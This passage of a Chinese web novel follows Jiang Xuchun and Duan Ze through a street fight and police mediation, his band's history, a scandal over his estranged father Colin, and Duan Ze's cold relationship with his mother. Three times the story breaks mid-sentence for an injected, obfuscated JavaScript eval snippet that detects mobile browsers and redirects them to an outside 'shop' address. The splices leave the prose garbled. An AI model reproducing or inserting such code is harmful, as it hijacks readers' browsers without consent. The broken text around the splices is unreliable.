“小妹妹,要不要和哥哥一起回家?” “诶哟,没看见人家有男朋友了?” “这么小就谈男朋友,那肯定很有经验了,不是更好?” …… “快走、快走、快走……”江绪春小声重复着给自己壮胆,抓着段则就往前跑。 没跑两步,手里一个落空,随之而来的,是身后一阵嘈杂。 江绪春回过头去。 她刚巧站在路灯下,看黑暗中的事物总有些模糊不清。隐约能看见一个瘦高的身影突然冲进人群里,揪着一个人的衣领就是一拳。 那些醉鬼快有他两个宽,见状也被点燃怒火,纷纷向他招呼起拳脚。 可他就是看准了其中一个,不管其他人打得再狠,他只跟眼前这一个单挑,动作又狠又利落,拳拳到肉不带半点含糊。 那人被打得直嚎,另两人见状想拉开他们,然而段则像是咬定了猎物的野兽,就算自己遍体鳞伤,也不肯松口分毫。 不知是不是冬夜的气温太低,眼前的景象越是沸腾,她的血越是凝固的厉害,直到整个人快被冻成一座冰雕,迈不开腿,喊不出声。 一辆电动车轻巧驶来,打破了这一动一静的平衡。 男人远远伸着脑袋,似乎只想看场热闹,江绪春忽然回过神来,大喊着让他快报警。 警局就在几百米开外,不过十分钟,一行人已经从街头瞬移到警局内。 鉴于一方是未成年人,两人的父母,包括段则的班主任,也都被喊到了警局。 等待家长过来的间隙,江绪春坐在旁边一直哭。刚刚因为极度恐惧而被凝滞的眼泪,这会儿加倍翻涌而出。 女警本还想教育她几句,让她以后晚上早点回家,见状无奈地端来一杯热茶,帮她擦擦眼泪。 段则倒是安静地坐在一边,任由嘴角还在流血。 男警几次三番问他要不要去医院,他都拒绝了,表示想早点处理完,明天还要上学。 “你还想上学?”警察摇摇头,“你知道情况有多严重吗?” 段则平静的神色终于有了一丝波澜,他看了眼还在掉眼泪的江绪春:“那她可以先回家吧,她没打架。” “你们都老实交代,她就能先走。” “知道了。” 两方家长和班主任都到齐后,询问正式开始。 警察原本只通知了刘蓉,江志远非要跟过来。一看到梨花带雨的女儿,刘蓉也开始掉眼泪,上上下下检查她有没有受伤。江志远得知情况后,指着那三个醉汉就开始骂。 原本刚到警局时,两方是被隔开的,这刚聚到一起,整个警局霎时乱成了一锅粥。 相较之下,段则这边从始至终都很平静。段咏竹的神色看不出太多波澜,低声问了段则几句后,便同他安静地坐在一旁。 几个警察一番软硬兼施,才终于稳定下局面。 事情的起因经过并不复杂,两方的供词也都很一致,现在重要的就是定性。 被揪着打的那位确实很惨,简单清洗包扎后,仍能看出半边脸都是血痕,一只眼肿成了一条线。 “你为什么光打他一个?”警察问。 “因为三个一起我打不过。” 段则的语气太平淡,警察闻言没忍住笑出声来,赶忙连声咳嗽恢复了严肃。 段则十七岁,显然已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239399|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是需要承担刑事责任的年纪,虽然对方先动口,但是他先动的手,肯定不是正当防卫。 既然是互殴,两方就得努力调解。可那三个醉鬼嚷嚷着,说自己进局子就和回家似的,不介意再蹲几天,但得让段则付出代价。 从头到尾,段则和段咏竹除了回答警察的问题,就没再多说。哪怕面临儿子可能要被拘留,她也没想过要去争取什么。 摊上这样的学生和家长,可怜班主任操碎了心,一直在向警方和醉鬼求情,说他明年就要高考了,说他年纪轻轻前途大好,说他为人本分一时冲动。 包括江绪春的父母,这会儿也在劝个不停,好像犯事的是他们女儿似的。 调解一直持续到凌晨,醉鬼的酒渐渐醒了,两边终于达成和解,签署了调解协议书,此事一笔勾销。 走出警局,快要分道扬镳时,刘蓉没忍住和段咏竹说:“你刚刚怎么坐得住的哦,你儿子差一点要被关起来了呀。” “他做错了事,就得承担责任。”段咏竹说。 江绪春一早止住了眼泪,偏偏这会儿,她在冷风中看见他红肿的脸,听见他母亲不咸不淡的回答,眼泪“扑簌簌”又落下来了。 翌日的升旗仪式上,段则喜提校级处分以及通报批评。 毕竟从小就靠一张脸名扬全校,又是每年艺术节的常客,大家对这个名字并不陌生,压低声音议论纷纷。 江绪春扭过头去,越过好几个班级寻找他的身影。 他比周围人都高些,不算难找。但从她的角度远远望去,最多也只能望见他高出来的那一截额前碎发,看不见他的眼,也无从察觉他的神情。 他始终笔直地站着,像尊雕塑,连一丝晃动都没有。 午餐时分,江绪春没忍住去找了他。 原本白净的一张脸上,伤口已经结痂了。眉角一道长长的疤痕,好险没伤到眼睛,嘴角还是肿得厉害,一圈青紫色的淤血。 “你昨晚怎么那么冲动?”她问。 “他们骂你。” 这个理由噎住了江绪春几秒:“可是他们有三个人,还好你打过了,要是没打过怎么办?” “他们骂你。” “……” 段则完全成了一个发声玩具,来来回回只会说这四个字。 到最后江绪春妥协了,也不指望从他嘴里撬出别的回答。 正午阳光好烈,她眯着眼睛看他,看他红肿的一双嘴巴,依然在不服气地抿着。 江绪春收回目光,隐约在空气里看到了昨晚那个瘦高的身影,一拳一脚,狠厉干净,带着少年人的冲动和不驯。 “你好帅啊。”她对着空气突然冒出这一句。 满脸伤的段则纳罕地低头看她,终于换了个台词:“你在骂我?” “……”江绪春无语凝噎,“怎么,你也要打我?” 段则用力按了下她的后脑勺:“神经。” 江绪春往前踉跄两步,难得没去回击。 虽然警察、老师和家长都在说他做了件很坏的事,她也知道,这么做不对。 可是,她还是忍不住悄悄觉得—— 昨晚的段则,真帅。 22. 第 22 章 当初因为几个醉鬼骂了她几句,他就敢上去一挑三,而如今别人都指着他鼻子骂到他头上,他反而泰然处之。 有那么一瞬间,江绪春是害怕他会和那人打起来。 但看到他真正的反应,她却有一瞬晃神。 摇滚圈是个什么地方呢,不少人成日高呼热爱与自由,并以此为幌子,在灰色甚至黑色地带徘徊。 好些人前些日子还活跃着,突然就销声匿迹,一打听才知道,原来他反抗的不是压迫与不公,而是道德与法治。 在这群人之间,段则有时候像个格格不入的乖乖牌,也难怪会被排挤。 但他自然也有过叛逆的时候。 比如那次差点进局子,比如一毕业就给自己打了十几个洞,被江绪春弄发炎养伤的时候,窝在家看了一星期cult片,也曾和一起玩音乐的朋友学过抽烟,后被江绪春嫌太难闻遂放弃。 至于如今的陆鲨,当它刚被组建时,其实是叫杀戮乐队。 哪怕段则现实里看到大点儿的虫子第一反应是跑,但是玩儿摇滚嘛,气势首先得有。 每次大学汇演时,这个名字自然不能审批通过,于是上报时,用的都是“科尔乐队”,取自“kill”的谐音。 离开校园决定正式走这条路时,关于乐队名,队内产生了一点小小的分歧。 一部分觉得杀戮乐队就很好,一部分觉得不想每次审批太麻烦,干脆直接改叫科尔乐队算了。 最后,段则像原来每次报审一样,又玩了文字游戏,只是这次是把“杀戮”颠倒过来,改叫“陆鲨”。 水中的霸主鲨鱼,离开了赖以生存的环境,在岸上举步维艰,但到底还有着令人生畏的威名。 江绪春觉得,他也像这不断变更的乐队名一样,逐渐变得沉稳内敛。就连写的歌,也由当初纯粹的控诉与抨击,转而开始探寻一些向内的东西。 如今成熟稳重的他当然很好,只是偶尔,江绪春也会怀念当年那个恣意不羁的少年。每次开场前,他会压低嗓音对着话筒说一句: “It’stimetokill.” 而她在台下,永远是最先欢呼尖叫的那个,带动起全场的气氛。 最开始只有她,到后来,她的声音渐渐被淹没听不见了。 乐队的开场白,也变成了“warning:sharksashore”。 - 段则还饶有兴味地听她怎么安慰自己呢,结果听着听着,眼前人说话愈发口齿不清,声音也越来越小,到最后只剩两声哼哼,换他膝上一沉。 段则低头,看向在他腿上睡得正香的江绪春。 一双黑眼圈,不知是熬了多久换来的,眉心微皱,怎么睡觉时也在发愁。 愁什么,愁他那死而复生的爹吗,他自个儿都没愁呢。 段则小心翼翼地伸长胳膊,拉来沙发另一侧的毛毯给她盖上。她哼唧两声,给他吓得大气没敢喘。 小狗刚吃完饭,闲庭信步地巡视领地中。巡查到这处,它歪着脑袋观察几秒,轻巧地跳上沙发,拖着个瘸腿歪歪扭扭地就要过来。 “去、去。”段则无声地向它沟通。 也不知道他是怎么指望一只人话都听不懂的猫,能一步登天进化到会读唇语的。 很显然,指望落空了。 小狗还以为是在引诱它,眼看一只爪子就要踩上江绪春脑袋。 情急之下,段则一手从它身下穿过,给它夹在臂弯里,丢下了沙发。 小狗一个稳稳落地,还不忘回头瞪视他, 段则也没怵,居高临下地回瞪它。 大猫与小猫的对峙,最终以大猫获胜落幕。小狗头一扭,耷拉着尾巴不满地离开了。 一波未平,一波又起。 手机忽而震动,段则眼疾手快捺断它后,才发现来自向镭。 [段则:怎么了?] 他回了条消息过去。 [向镭:你现在有空吗,线上开个紧急会议。] 段则看了眼膝上安睡的人。 [段则:不太方便。你直接把公关方案发给我吧,我会全部执行的。] 那头沉默了几分钟后。 [向镭:colin那边说他本人想和你亲自对话。] 段则并不觉得和这么个陌生人的通话,能比江绪春的一段安稳睡眠更重要。 但工作人员为他家这点破事加班加点已经够辛苦,他不想让他们为难。 段则放下手机,看了眼仍熟睡的江绪春,在心底叹了口气,轻手轻脚地一点点抬起她的脑袋。 她有点儿被弄醒了,不满地哼唧着,手无意识地抓来抓去,段则眼疾手快,捞来一个靠枕塞给她,她迷迷糊糊抱着它,重又沉沉睡去。 段则站在原地,盯着她看了快有半分钟,才带着一种视死如归的心情,拿上手机去了阳台。 那头原本想打视频电话,被段则拒绝后,改作普通的语音电话。 Bluenight那张照片里,江绪春还穿着条单裙,而两千公里之外的泓州已入深冬。高层风大,刮在脸上像割刀子,他只穿了套薄薄的家居服,在阳台没站半分钟就快被冻僵。 段则没动弹,觉得刚好冻一冻他有点儿混沌的脑子。 电话是那头打来的,属地在国外,手机还友情提醒他谨防诈骗电话,他没忍住扑哧笑出声,好不容易捺下笑意后才接通。 “小则?”那头试探地说了一句。 男人的声音还算清朗,乍一听还以为不过四十出头。 “你好。”段则顿了顿,“Colin。” 他听见那头传来一声很无奈的轻笑,段则转了个身,背靠阳台护栏,透过玻璃门,远远能看见沙发上的一角,江绪春睡得还算安稳。 他就这样一边看着江绪春安睡的身影,一边吹着冷风,一边听着colin虚伪的寒暄。 他过得很好,他妈也很好,一切都很好……段则心不在焉地回答着,忽然觉得很恶心。 “我们直接切入正题吧?”他打断道。 那头沉默少顷:“好。” 十分钟后,段则回到屋内,感觉自己的体温在一点点回升。 江绪春还在睡,小狗又在不远处对她猫视眈眈,段则走上前在它面前蹲下,点了下它的小脑门。 小狗不满,抬起爪子好像也想给他脑袋来一下,可惜那只瘸腿撑不住身子,一个歪斜险些倒地。 段则眼疾手快捞起它,带着它往它的专属房间走,进屋把门一关:“别吵她睡觉,知道吗?” 小狗什么都不知道,只知道叼起自己的玩具要他陪玩,段则坐在地上,一边心不在焉地逗它,一边想起了很多事。 他其实没骗江绪春,在这件事出来之前,他真的以为他爸已经死了,因为他妈就是这么告诉他的。 当初他得知这个答案时,他觉得自己应该悲伤,但或许因为他没有和这个所谓的父亲相处过一天,他其实没有太多感受,坦然接受了这个现实。 甚至当他向别人解释自己的家庭时,面对别人的同情,还要反过来去安慰别人。 比如当年也不过小学的江绪春,得知此事后一脸震惊,转瞬觉得这样不合适,又磕磕绊绊地安慰他几句。完事将脑袋一转,以为这样他就看不见自己红通通的眼睛,但侧面撅得老高的嘴巴暴露了一切。 她那时候一哭就爱撅嘴,甭管眼神有多坚毅,嘴巴永远暴露了她的真实情绪。 开心会笑,不满会下撇,生气会抿紧,偶尔被段则的荒唐举动弄得很无语时,又会将嘴角向右一撇,一副无奈的小大人模样,不知道从哪个电视剧学来的。 段则也是长大后回想,才意识到这一切的。 现在的江绪春不一样了,她会把情绪藏得很好,眼睛没有破绽,嘴巴也没有。 当年的段则因为年纪太小,读不懂她;现在因为她伪装得太好,依然读不懂她。 虽然他对他爸没什么可追忆的,但是对他妈有。 比如他活到了二十七岁才终于明白,为什么自己和母亲明明没什么大矛盾,但一直相处不来,原来是他潜意识能感受到母亲其实并不太爱自己。 孩子对母亲的爱是写在本能里的东西,一旦这种关系不对等,就算理智没有意识到,直觉也会让人感到痛苦。 而当他第一次看到colin的照片时,也总算明白了母亲为什么那么讨厌他的自来卷。 从小,段咏竹就会定期带他去理发店拉直头发,年幼的小孩儿坐不住,每次去理发店就像上刑。他问母亲为什么要拉直头发,母亲说他卷发太难看,不利落不精神,像野孩子。 这种观念深入骨髓,伴随他至今。他在舞台上做过无数种发型,除了卷发。只有在最亲近的人面前,他才敢暴露自己“野孩子”的那一面。 而江绪春第一次看到他的卷发,是在初中时期。 某个暑假快结束时,所谓的“好学生”江同学其实一半作业都还没写完。她打他家座机电话,上来还用甜甜的声音说“段阿姨好”,发现是他接的,马上鬼吼鬼叫着让他快把作业给她抄。 那会儿段则打球把脚扭伤了,正在家里养伤,便让她直接上他家取作业。 那段时间段咏竹刚好不在家,是和她的新男友出国旅游了。她还骗段则说是和女性朋友出去,但段则心里都门儿清。 彼时外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248643|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖还没普及,他方便面都快吃吐了,作为抄作业的代价,他让江绪春给自己随便带点吃的,只要不是方便面都行。 这是江绪春第一次来他家。 虽然两人那会儿也认识好几年了,但他不太习惯带朋友来家里,主要是段咏竹不喜欢家里有陌生人。而她自己隔三岔五会往家里带陌生男人,没办法,小孩儿总是没有人权。 因而,江绪春也是他第一个带回家的朋友,虽然是偷带的。 段则单腿蹦着上前给她开了门,门一开,他看见江绪春的笑容僵在脸上,转作一抹惊讶。 他以为江绪春惊讶的是他的腿,刚准备解释几句,却发现她的目光一直往他的脑袋顶看。 他抬手一摸,反应过来,头发忘拉直了。 “你烫头啦?”江绪春一双星星眼问他,“哇,阿姨真开明,我想剪个刘海我妈都不让。” “不是烫的。”段则侧身放她进来,“我……我是自来卷。” 说后半句时,他声音低了一截,觉得羞于启齿。 但江绪春似乎没觉得他不够利落精神,也不觉得他像野孩子,只是始终好奇地望个不停,还举起一只手来,问他能不能摸。 段则低下头来,乖乖任她摸。 江绪春开始还只是小心翼翼触碰两下,到后来便不客气地左揉揉右揉揉,把本来就乱蓬蓬的头发揉得更乱了。 “好可爱啊,好像小羊,你看过小羊肖恩吗?”江绪春说。 段则敷衍地“嗯”了两声,还是不太习惯自己以这个造型示人。 摸了好半天,江绪春才想起自己有任务在身,她打开鼓囊囊的书包,里面除了薄薄两本作业,剩下的全是吃的。 “都是我妈让我带的,这是她包的包子、饺子、烧卖,蒸一下就能吃。哦,还有这个,她中午刚烙的小饼,还是热的,你可以直接吃。” 江绪春说着,往他怀里丢了一个热乎乎的保鲜袋。 江绪春生长在南方,但她妈是从北方远嫁而来,做起面食来一绝。 小时候,因为段咏竹常常忙着约会,段则有时候没饭吃,就会上她家蹭饭。 直到小学高年级,段则逐渐学会了煮面炒饭之类的简单手艺,就很少去她家吃饭了。 谅他腿脚不方便,江绪春主动帮他把吃的放进冰箱。段则坐在沙发上,吃着暄软温热的小饼,突然感觉鼻子很酸。 放完吃的,江绪春离开厨房,还非常“自觉”地顺手牵羊了一根雪糕,吃着吃着,她在不远处站定,盯着段则看:“你哭啦?” “我没有。”段则忙反驳,偏生一口哑嗓子暴露了一切。 “没关系。”江绪春在他身边坐下,“男人哭吧哭吧哭吧不是罪……” 那时候,大街小巷常能听到这首歌。 “你才哭了。”段则梗着脖子嘴硬。 “哎哟。”江绪春转过身背对他,继续啃着雪糕,“你自己哭吧,我不看你了还不行吗?” 很多年后回想,段则还是觉得这个姑娘真神奇。 从小他妈教育他不能哭,那和他的自然卷一样,是非常丢脸的事。于是他受伤了不能哭,考试失利了不能哭,受委屈了也不能哭。 可他偏偏是个正常人,有着正常的情感,泪腺也可以正常工作。 于是第一次见到江绪春,五岁的他就一个没绷住,在人家面前大哭起来。 而那个刚刚救了他的小女孩,看到他哭后,没有安慰也没有嘲笑,而是愣愣地盯了他好一会儿,还说他“真漂亮”。 在母亲眼里,哭泣是件丢脸的事。 在其他人眼里,哭泣是件需要被安慰的事。 而在江绪春眼里,哭泣好像和微笑一样,再自然不过。她只会问一句“你哭啦”,然后就任他哭。 段则盯着她的背影默默看了半天,最后道:“能给我也拿个冷饮吗,我要巧克力味的。” “哦。”江绪春乖乖起身,去厨房翻出一支雪糕后,摸索着倒退回了客厅,背手将雪糕递给他,确保自己全程不会看到他一眼。 段则的眼泪一早止住,但眼睛还温热着,他望着她莫名显得鬼鬼祟祟的身影,忍不住笑出声来,接过雪糕时,顺便拽过她的手。 江绪春被拽得一个转身,吓得忙抬起另一只手捂住眼。 段则拿下她的手:“没关系,你可以看了。” 江绪春犹豫着一点点睁开眼,盯着他看了半天,嗫嚅着好像有话要说。 他以为她会一反常态安慰两句。 但最终,她和从前一样感慨道:“哇,你好漂亮啊。” 闻言,顶着一头自然卷的段则一愣,末了笑着别过脸去:“那当然了,小鸭。” 23. 第 23 章 爱这种东西太虚无缥缈,难以界定,但在法律和道德层面,段咏竹绝对尽到了作为母亲的责任。 供他吃穿之余,段咏竹也在费尽心力培养他。记忆里的童年假期,段则几乎住在了少年宫里,学钢琴,学拉丁,学小提琴。 可惜他对这些高雅的艺术好像没什么造诣,反倒是在少年宫认识的学吉他的小伙伴,教他学了点皮毛,就让他瞬间爱上了这门乐器。 但他从没和母亲提过这事,小时候的段则,对母亲总有些畏惧。 直到大学毕业,他才向母亲坦诚,自己从高中便有尝试组乐队,并且打算以后一直在这条路上走下去。 至今段则仍记得,那是个寻常的夏日午后,窗外的蝉鸣躁动不安。段咏竹穿着及踝的棉布裙,一头长发被簪子随意挽起,微侧着身子靠在沙发上,听他讲述自己前途难料的梦想。 听罢,段咏竹长久地没有说话,只是看着他、看着他,那双秀气的眉眼里带着点儿哀怨,就此穿透了他的灵魂。 最终,段咏竹并没有对这件事提出任何意见。 而离家返泓州的路上,他收到了她转来的十万元。 段咏竹对他决定走这条路没说什么,待他有了点成就,也没说什么。 她永远是那么个淡淡的性子,好像对什么都无所谓。 在她的潜移默化下,段则有时候也觉得,除非天塌了,其他都不是什么大事儿。 就算天真的塌了,死都死了,也没什么好惦念的了。 但其他人好像不这么认为。 就在colin方发了新的公告后,他又陆陆续续收到不少短信和电话,公司的、朋友的、队友的。 对于他不够专心的陪玩,小狗不满地“喵喵”叫个不停。 “错了错了。”段则一边敷衍地和它道歉,一边接起了新一通电话。 养只猫都这么费劲,他不知道段咏竹是怎么一个人把他拉扯大的。 公司无非是和他核对一些公关方案,朋友更多的是安慰,而队友们在安慰之余,似乎多了那么一丝隐秘的介怀。 倒也能理解,这些年来,每次都是段则把陆鲨推上风口浪尖。 譬如给陆鲨贴上“光靠脸没实力”的标签,譬如这次的私生子传闻。 他们几个在那边敲着鼓弹着琴,莫名其妙还要被拉出来一顿非议。 段则一面听着贝斯手暗含他意的安慰,一面分出一只手陪小狗玩,心里还想着等会儿出门看一眼,看江绪春有没有睡醒。 突然又有一通电话插进来,他看着屏幕上三个花里胡哨的按键,想着先接通新电话让对方等一下,一不留神按错了,直接给新电话挂断了。 贝斯手又开始喋喋不休,他的精神忽而有一刻恍惚: “要不我退团吧?” 话说出口,两边都沉默了。 段则用力晃了晃脑袋,感觉可能是自己这些天太缺觉。 那头先开了口:“你说什么呢,我没那个意思,大家都是一起的,有福同享有难同当……” 后面贝斯手说了什么,他没太认真听。 电话挂断后,段则坐在地板上发了好一会儿呆,任由手机振动个不停,小狗围着他直打转。 精神再度回归后,他的第一反应就是给手机关机。 “好了,作为一只成熟的小猫,你要学会自己玩耍。”段则站起身,指着小狗来了一番谆谆教诲后,决定出门去厨房找点吃的。 但他显然忘了江绪春是为了什么飞越两千公里的。 眼见他的电话打不通,大家自然会去联系江绪春。 段则这头连土司机都不敢用,轻手轻脚地坐在岛台边啃冷面包,结果啃一半,就听见客厅隐隐传来电话铃声,看见江绪春迷迷糊糊从沙发上坐起。 他丢下土司,在心里暗骂了一句。 电话接通没两句,江绪春下意识抬头,满屋子搜寻他的身影。 远远和他对上眼,她盯着他看了几秒,没什么情绪,垂下眼继续和对方沟通着。 段则放下吃一半的面包,走向客厅,耐心等她聊完电话后开口:“不好意思,吵醒你了。” “啊,没关系。”江绪春揉了揉眼睛,“我确实不能再睡了,不然作息正不回来了。” “昨晚几点睡的?”段则在她身边落座。 “……没睡。” 段则神情稍怔:“因为我的事?” 江绪春不知该怎么回应,确实是因为他,但这是她自己的选择,她不想让他为此感到歉疚。 她躲闪着他的目光,不自觉又看向了岛台:“面包还有吗?” 段则了然起身:“你再歇会儿吧,我现在去做。” 段则去做他的招牌三明治期间,江绪春看完了colin工作室发的新回应。 这条回应很特别。 虽然外界都知道他脚踏两条船,但自古这种事永远是女方受更多指责,舆论骂他和骂段咏竹的差不多有个三七开。 尽管没有任何证明,大家似乎都默认了当年是段咏竹“勾引”他,想要借此上位。 真诚承认错误,向结发妻子表一表衷心,妻子再出来表示风风雨雨我们仍是一家人,这是最常见也最稳妥的做法。 但在这条声明里,colin方主动承认了当年是他主动在先,段咏竹在丝毫不知情的情况下介入了他们的婚姻,并在得知真相后第一时间离开,两人自此再无任何联系。 这可是任何传言里都没有提及的事。 在结尾,他郑重向两个女人都道了歉。 江绪春看了眼开放厨房里那个忙碌的身影。 高挑的身形,永远笔挺的背脊,做什么事儿都有种不紧不慢的优雅劲儿,她看着看着,恍惚间仿佛看到了段咏竹的影子。 段则第一次向她坦言自己和母亲的关系时,是在初升高的暑假。 那是段很清闲的日子,两人坐在小卖部外的遮阳伞下吃冰淇淋,江绪春心满意足吃完了一个,又迫不及待去买第二个。 她一边撕甜筒外的纸壳一边说:“我妈嫌我吃冷饮没节制,现在夏天都不肯带我去批发冷饮了。” 段则看了眼这个确实不懂得节制的小姑娘,咬下一块巧克力脆皮,笑了笑。 江绪春一边吃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253174|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边想着下一个买什么口味时,忽然听见对面说:“我好羡慕你和你妈的关系。” “啊?”江绪春还以为他在反讽,“我才羡慕你呢,阿姨都不管你,真好。” 闻言,段则微微扭头看向马路,融化的雪糕都顺着木棍流到手面了,那是他少有的不体面时刻。 半晌,他对着空气说:“我都不知道怎么和我妈相处。” 江绪春愣住了,她的脑袋瓜暂时不足以理解这般复杂的问题。在她看来,和母亲相处有什么需要考虑的,一切不都是自然而然的吗。 她把这个难解的问题带回了家。 刘蓉女士显然也想不明白,她思索了少顷决定放弃:“可能男孩儿和女孩儿就是不一样吧,还好我们家是闺女。” 说着,把她揽进怀里,对着她额头亲了好大一声。 青春期的孩子好面子,那次过后,段则再也没向她提起他和他妈的关系。 江绪春也自觉地不去问,只是每次见到段咏竹时,都会下意识观察两人的相处模式。 再度提起时已经是大学临近毕业,段则说想专注搞音乐,但不知道该不该告诉母亲。 江绪春不假思索:“当然要说啊。” 段则沉默少顷:“我跟我妈……不怎么说话。” 虽然舞台上的段则看起来很酷很高冷,但私底下,他有时候还蛮话痨。会抓着她聊半天自己喜欢的摇滚乐队,听得她脑袋冒烟,一把揪下他的帽子挡住他的嘴,这样他就会忙着戴帽子遮挡自己的小卷毛,没时间说话了。 她难以想象,这样一个人,会和自己最亲的人无话可说。 这时候的江绪春已经长大了,不会像小时候一样,遇到想不明白的问题就放弃。 她开始试图帮段则分析:“是不是小时候她对你不好?” 段则想了想,摇摇头。 “不一定是打你,冷暴力也是暴力,是不是常常刻意忽视你?” 段则摇摇头。 这下江绪春没辙了。 她想起母亲当年的话,觉得还是大人有智慧啊。 “可能男生和女生跟妈妈相处的模式就是不一样。”她把这句话时隔好几年搬运了过来。 段则没说话,江绪春也不敢说话,因为她忽然想起很多男同学,他们和母亲的相处模式,并不像段则这样,这句话太容易反驳了。 “总之我觉得,这么大的事,你还是得告诉她。”最后她说。 过了不到一月,某天段则给她发了条消息,没有文字,只有一张十万元的转账截图。 [江绪春:你去卖肾了?] [段则:我妈给我转的。] [江绪春:……对不起对不起我乱说的。] [江绪春:这么看她真的很爱你嘛。] [段则:嗯。] 当初她百般劝诫段则坦白,而事实上,关于她贸然陪段则逐梦这件事,她本人先斩后奏了一年多后,才向自己的父母坦白。 虽然她到现在耳洞都没打一个,穿衣风格常常被人误以为还是学生,但有些时候她也会想,自己和段则,到底谁更叛逆一点? 24. 第 24 章 江绪春在泓州待了不到48小时,自己房间的床都还没捂热,就得抓紧赶去深圳,bluenight那边暂时还离不开她。 段则也要暂时离开泓州,他打算回兴榕一趟。 两人的飞机差了三小时,江绪春在先,但段则还是陪她来到了机场。 时候尚早,两人在机场内吃了顿简餐,临近分别时,江绪春起身拍拍他的手。 她想说这次你一定要和妈妈好好聊聊,又觉得这是句废话,所以最后只是又拍了几下他的手,表示一切尽在不言中。 段则抬头看向她,也反过来拍拍她的手。 彼此就在这种些许诡异的气氛中相别。 送机或许并不是次次都要送到安检口,段则继续喝着咖啡,看她拖着小小的登机箱,脚步匆匆的背影。 他想问她你还回来吗。 但最终,他只是收回目光,自己拍了拍自己的手。 回兴榕的想法其实来得很突然,他是昨晚临时做出这个决定的。 昨晚闲来无事,段则刷了会儿手机,理智告诉他不要看那些东西,但是手指不听使唤。 Colin的新声明刚出来时,网上毫无疑问都在抨击他。 然而不到二十四小时,舆论巧妙发生了逆转。 逐渐开始有人夸他有担当,敢作敢当,不仅对妻子有交代,也不会为了自己的名声,对另一个女人落井下石。 某种意义上,事情在网络舆论上,其实达成了一个大团圆的结局。 果然临睡前不能看手机。 段则放下手机,盯着天花板看了很久。 “我一分钱也不要。我只要你对公众,把这件事的真相原原本本地说清楚。” 那天在阳台上,他是这么说的。 他不知道那篇新声明是经过了公关的润色,还是的确是colin的真情流露,总之,他误打误撞帮他爸把名声洗白了。 他忽然想起一首歌,叫《荒唐世界》,是他自己写的歌。 写这首歌的时候他才大一,第一次离家来到一个新城市,对世界出现了很多颠覆性的理解。 尚未脱离中二期的他,洋洋洒洒不到半小时写了这首歌的词,又花了三天编完了曲。 这也是陆鲨第一首小有名气的歌——当然,那时候他们还叫杀戮乐队——虽然这种名气现在看来不值一提。不过有些一直陪伴的歌迷对此很有情怀,常看到有人说,这是他们最喜欢的陆鲨的歌。 尽管如此,近些年段则很少唱这首歌了。 上次公开演唱,还得追溯到前年在母校旁办的一场回馈live。安可时他架不住大家的热情,又想到当年在学校写歌的日子,清唱了一小段。 不唱的原因很简单,以他现在的眼光回看,他认为这首歌太偏激、太幼稚。 人真是神奇,不过几年,他就连过去的自己都无法理解。 此时此刻,他突然与当初的自己连接上了电波。 甚至他觉得,这个世界比当年想象的还要荒唐。 而这次他不打算写歌,他只想回去坐下来,看一看母亲。 飞机落地兴榕时是傍晚,他并没有告诉段咏竹自己要回来。 决定做得太临时,他都没有时间买点什么,就这么两手空空往家赶。 坐在出租车里他还有点忐忑,但很快他想起有一年过年,和江绪春一起回兴榕,他看她空着手,问她不给父母带些什么吗。 “为什么一定要带?”江绪春的疑问看起来很真实,“我能回去就是他们最好的礼物啊。” 说完,她还捧着脸比了个托花的造型,虽然下一秒,就害羞到捂着脸低下头。 那时候的段则只觉得她很可爱。 而现在他在想,他的到来对于段咏竹来说,不期望算是礼物,但希望至少不是一件坏事。 门铃按响后,里面很快传来了脚步声,以及一句“谁啊”。 段则张了张口,居然没能发出声音。 少顷后门还是开了,段咏竹看见他,似乎并不算惊讶,侧身让他进来。 段则换好鞋,在沙发上落座。 从见到段咏竹起,他的嗓子就好像被谁毒哑了,明明有话想说,却始终发不出声,连句“妈”都喊不出。 他想他不必解释自己回来的原因。 从他记事时起,段咏竹就是一个非常潮流的人。这种潮流不仅体现在穿衣打扮上,她对电子产品也比同龄人更玩得转。 网上传得这般沸沸扬扬,她说不定比当时昏睡的他更先知道这件事。 他不说话,段咏竹也不说话,在客厅角落侍弄着她的小花园。 大概就是这几年,段咏竹突然迷上了这些花花草草。 为此,段则去年特地给她在兴榕买了幢带花园的小别墅,只是目前还在装修阶段,只能委屈她先在楼房里当园丁。 段则看着她侍花弄草的身影,一共几十盆,一盆盆没有遗漏地看去,一手拿喷壶不时洒点水,一手拿剪刀修些枝叶。 她的眼神是那般专注投入。 那是从没有对他展现过的目光。 段则静静望向另一侧,尚在发呆时,耳畔传来声音:“听说你们要发新专辑了?” 也就是此事发生的一周前,公司刚发了陆鲨新专预热,以至于有人荒唐到觉得这是段则在故意炒作。 段则张了张口,半晌“嗯”了一声。 